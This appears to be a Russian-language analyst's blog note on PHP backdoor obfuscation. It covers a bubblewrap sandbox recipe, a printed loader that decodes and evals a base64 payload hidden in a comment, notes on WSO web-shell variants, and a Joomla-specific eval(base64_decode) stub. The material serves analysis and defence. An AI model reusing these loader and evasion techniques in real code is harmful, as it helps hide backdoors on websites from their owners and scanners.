что это?
Здесь, со временем, будут появляться некоторые способы обфускации/затруднение “обратной разработки” кода на PHP с примерами, которые встретились мне в рамках каких-то проектов.
Список не претендует на полную картину мира в этой области - это просто мои заметки, на которые хватило времени.
0. Песочница для Ваших тестов (bubblewrap)
Использование:
mkdir bwrap_data && cp evil.php bwrap_data/
bwrap --ro-bind ./bwrap_data/ /bwrap_data --ro-bind /bin /bin --ro-bind /lib /lib --ro-bind /lib64 /lib64 --unshare-all php7.3 /bwrap_data/evil.php
Из-за --unshare-all
нельзя получить почти все namespaces из песочницы, а не только pids, как в примере на странице проекта
Установка:
git clone https://github.com/containers/bubblewrap
sudo apt install build-essential autoconf automake libcap-dev php7.3-common php7.3-cli
autogen.sh
configure
make
1. Полезная нагрузка в комменте
Оригинал без base64 (не привожу остальной код для экономии места - он и так виден на скрине):
$_000O=Array();for ($_0OOO=97;$_0OOO<123;$_0OOO++) $_000O[]=chr($_0OOO);for ($_0OOO=65;$_0OOO<91;$_0OOO++) $_000O[]=chr($_0OOO);$_0000=implode("",$_000O);$_OO0=fopen($_0OO,"rb");fseek($_OO0,$_O0O,SEEK_SET);$_000=fread($_OO0,$_OOO);fclose($_OO0);$_00OO="/*CNS".str_pad($_O0O,6,STR_PAD_LEFT,"0");$_0O0=strpos($_000,$_00OO);$_00O=substr($_000,$_0O0+11,52);$_000=substr($_000,$_0O0+63,strpos($_000,"*/",$_0O0+63)-$_0O0-63);$_000=base64_decode(strtr($_000,$_0000,$_00O));eval($_000);
Меняем eval на echo и выполняем в песочнице для получения payload
2. Частичная обфускация (wso)
Видимо, отсутствие компетенции/навыков программирования толкает блэков на подобное (см. пример)
Импакт? Никакого, всё так же продолжаем юзать статический анализ.
Исключение: нужно использовать несколько паттернов, так как встречаются и вот такие поделки: Пример (смотри внимательно на переменную “default_action” и сравни с прошлым, из этого же блока текста)
3. Проверка на существование специфических констант
Защита от автоматических инструментов, основанных на песочницах (unphp, например): выполнение не доходит до unpack base64/etc и деобфускации не происходит - подойдет как защита, если анализирующий не понимает синтаксиса php.
Встреченные бекдоры работают по разному для разных CMS - вот случай с joomla:
<?
defined('_JEXEC') or die(':)');
// eval(base64_decode(payload
?>